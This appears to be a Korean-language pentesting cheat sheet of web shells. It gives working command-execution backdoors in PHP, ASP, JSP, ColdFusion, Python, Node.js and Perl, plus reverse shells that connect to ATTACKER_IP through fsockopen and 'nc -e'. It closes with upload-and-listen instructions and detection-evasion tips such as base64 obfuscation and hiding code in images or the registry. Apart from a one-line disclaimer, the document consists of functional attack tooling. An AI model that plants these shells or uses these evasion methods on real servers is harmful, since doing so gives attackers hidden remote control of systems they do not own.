Web Shells
Web Shells
웹 서버 환경에서 사용할 수 있는 다양한 웹 쉘들입니다.
🐘 PHP
Basic PHP Web Shell
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
PHP with eval
<?php
if(isset($_REQUEST['cmd'])){
eval($_REQUEST['cmd']);
}
?>
PHP with shell_exec
<?php
if(isset($_REQUEST['cmd'])){
echo shell_exec($_REQUEST['cmd']);
}
?>
PHP with passthru
<?php
if(isset($_REQUEST['cmd'])){
passthru($_REQUEST['cmd']);
}
?>
PHP with proc_open
<?php
if(isset($_REQUEST['cmd'])){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($_REQUEST['cmd'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "php -r 'echo \"Hello World\";'");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
echo stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
}
?>
PHP with popen
<?php
if(isset($_REQUEST['cmd'])){
$handle = popen($_REQUEST['cmd'], 'r');
while(!feof($handle)) {
echo fread($handle, 1024);
}
pclose($handle);
}
?>
PHP Reverse Shell
<?php
$sock=fsockopen("ATTACKER_IP",PORT);
exec("/bin/sh -i <&3 >&3 2>&3",$sock);
?>
PHP with file_get_contents
<?php
if(isset($_REQUEST['cmd'])){
echo file_get_contents('http://ATTACKER_IP:PORT/?cmd='.urlencode($_REQUEST['cmd']));
}
?>
🖥️ ASP
Basic ASP Web Shell
<%
if request("cmd")<>"" then
response.write("<pre>")
response.write(server.createobject("wscript.shell").exec(request("cmd")).stdout.readall)
response.write("</pre>")
end if
%>
ASP with eval
<%
if request("cmd")<>"" then
eval(request("cmd"))
end if
%>
ASP with execute
<%
if request("cmd")<>"" then
execute(request("cmd"))
end if
%>
ASP Reverse Shell
<%
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c nc -e cmd ATTACKER_IP PORT", 0, True
%>
☕ JSP
Basic JSP Web Shell
<%
if(request.getParameter("cmd")!=null){
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null){
out.println(line + "<br>");
}
}
%>
JSP with ProcessBuilder
<%
if(request.getParameter("cmd")!=null){
ProcessBuilder pb = new ProcessBuilder(request.getParameter("cmd").split(" "));
Process p = pb.start();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null){
out.println(line + "<br>");
}
}
%>
JSP Reverse Shell
<%
String[] cmd = {"cmd", "/c", "nc -e cmd ATTACKER_IP PORT"};
Runtime.getRuntime().exec(cmd);
%>
🔧 ColdFusion
Basic ColdFusion Web Shell
<cfif isDefined("form.cmd")>
<cfexecute name="#form.cmd#" output="result" timeout="10">
<cfoutput>#result#</cfoutput>
</cfif>
ColdFusion with cfscript
<cfscript>
if(isDefined("form.cmd")){
result = createObject("java", "java.lang.Runtime").getRuntime().exec(form.cmd);
// Process result
}
</cfscript>
🐍 Python (WSGI)
Basic Python Web Shell
import os
import cgi
def application(environ, start_response):
if environ['REQUEST_METHOD'] == 'POST':
form = cgi.FieldStorage(environ=environ, fp=environ['wsgi.input'])
if 'cmd' in form:
cmd = form['cmd'].value
result = os.popen(cmd).read()
start_response('200 OK', [('Content-Type', 'text/html')])
return [result.encode()]
start_response('200 OK', [('Content-Type', 'text/html')])
return [b'<form method="post"><input name="cmd"><input type="submit"></form>']
Python with subprocess
import subprocess
import cgi
def application(environ, start_response):
if environ['REQUEST_METHOD'] == 'POST':
form = cgi.FieldStorage(environ=environ, fp=environ['wsgi.input'])
if 'cmd' in form:
cmd = form['cmd'].value
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
start_response('200 OK', [('Content-Type', 'text/html')])
return [result.stdout.encode()]
start_response('200 OK', [('Content-Type', 'text/html')])
return [b'<form method="post"><input name="cmd"><input type="submit"></form>']
🟨 Node.js
Basic Node.js Web Shell
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.send(`
<form method="post">
<input name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
`);
});
app.post('/', (req, res) => {
const cmd = req.body.cmd;
exec(cmd, (error, stdout, stderr) => {
res.send(`<pre>${stdout || stderr}</pre>`);
});
});
app.listen(3000);
🔧 Perl (CGI)
Basic Perl Web Shell
#!/usr/bin/perl
use CGI;
use strict;
my $cgi = new CGI;
print $cgi->header;
if ($cgi->param('cmd')) {
my $cmd = $cgi->param('cmd');
print "<pre>";
system($cmd);
print "</pre>";
}
print $cgi->start_form;
print "Command: " . $cgi->textfield('cmd');
print $cgi->submit;
print $cgi->end_form;
📝 Usage Instructions
- ATTACKER_IP를 실제 공격자 머신의 IP 주소로 변경하세요
- PORT를 사용할 포트 번호로 변경하세요
- 웹 서버에 해당 파일을 업로드하세요
- 브라우저에서 파일에 접근하여 명령어를 실행하세요
- 공격자 머신에서 리스너를 실행하세요:
nc -lvp PORT
⚠️ Important Notes
- 웹 서버의 보안 설정에 따라 일부 함수가 비활성화될 수 있습니다
- 웹 애플리케이션 방화벽(WAF)이 차단할 수 있습니다
- 파일 업로드 제한이 있을 수 있습니다
- 로그 파일에 명령어가 기록될 수 있습니다
- 교육 목적과 합법적인 침투 테스트에만 사용하세요
🛡️ Detection Evasion
Obfuscation Techniques
- Base64 인코딩
- 문자열 분할 및 재조합
- 변수명 난독화
- 주석 및 공백 제거
Alternative Methods
- 이미지 파일에 코드 숨기기
- 데이터베이스에 코드 저장
- 환경 변수 활용
- 레지스트리 활용 (Windows)